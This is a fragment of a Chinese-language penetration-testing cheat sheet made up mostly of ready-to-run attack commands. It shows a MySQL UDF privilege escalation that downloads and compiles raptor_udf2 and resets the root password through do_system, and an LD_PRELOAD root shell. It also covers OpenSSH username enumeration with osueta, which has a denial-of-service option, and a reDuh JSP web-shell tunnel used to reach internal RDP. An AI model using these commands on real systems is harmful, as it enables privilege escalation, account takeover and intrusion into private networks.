<code># Mysql Server version: 5.5.44-0ubuntu0.14.04.1 (Ubuntu) $ wget 0xdeadbeef.info/exploits/raptor_udf2.c $ gcc -g -c raptor_udf2.c $ gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc mysql -u root -p mysql> use mysql; mysql> create table foo(line blob); mysql> insert into foo values(load_file('/home/user/raptor_udf2.so')); mysql> select * from foo into dumpfile '/usr/lib/mysql/plugin/raptor_udf2.so'; mysql> create function do_system returns integer soname 'raptor_udf2.so'; mysql> select * from mysql.func; mysql> select do_system('echo "root:passwd" | chpasswd > /tmp/out; chown user:user /tmp/out'); user:~$ su - Password: user:~# whoami root root:~# id uid=0(root) gid=0(root) groups=0(root) </code>
<code>$ wget https://github.com/jivoi/pentest/ldpreload_shell.c $ gcc -shared -fPIC ldpreload_shell.c -o ldpreload_shell.so $ sudo -u user LD_PRELOAD=/tmp/ldpreload_shell.so /usr/local/bin/somesoft </code>
注:枚举时序攻击(“Enumeration Timing Attack”)属于侧信道攻击/旁路攻击(Side Channel Attack),侧信道攻击是指利用信道外的信息,比如加解密的速度/加解密时芯片引脚的电压/密文传输的流量和途径等进行攻击的方式,一个词形容就是“旁敲侧击”。–参考自 shotgun 在知乎上的解释。
osueta 是一个用于对 OpenSSH 进行时序攻击的 python2 脚本,其可以利用时序攻击枚举 OpenSSH 用户名,并在一定条件下可以对 OpenSSH 服务器进行 DOS 攻击。
<code># https://github.com/c0r3dump3d/osueta $ ./osueta.py -H 192.168.1.6 -p 22 -U root -d 30 -v yes $ ./osueta.py -H 192.168.10.22 -p 22 -d 15 -v yes –dos no -L userfile.txt </code>
注: ReDuh 是一个通过 HTTP 协议建立隧道传输各种其他数据的工具。其可以把内网服务器的端口通过 http/https 隧道转发到本机,形成一个连通回路。用于目标服务器在内网或做了端口策略的情况下连接目标服务器内部开放端口。
对了亲~ReDuh-Gui 号称端口转发神器哦。
<code># https://github.com/sensepost/reDuh # 步骤 1 # 上传 reDuh.jsp 目标服务器 $ http://192.168.10.50/uploads/reDuh.jsp # 步骤 2 # 在本机运行 reDuhClient $ java -jar reDuhClient.jar http://192.168.10.50/uploads/reDuh.jsp # 步骤 3 # 使用 nc 连接管理端口 $ nc -nvv 127.0.0.1 1010 # 步骤 4 # 使用隧道转发本地端口到远程目标端口 [createTunnel] 7777:172.16.0.4:3389 # 步骤 5 # 使用 RDP 连接远程 $ /usr/bin/rdesktop -g 1024x768 -P -z -x l -k en-us -r sound:off localhost:7777 </code>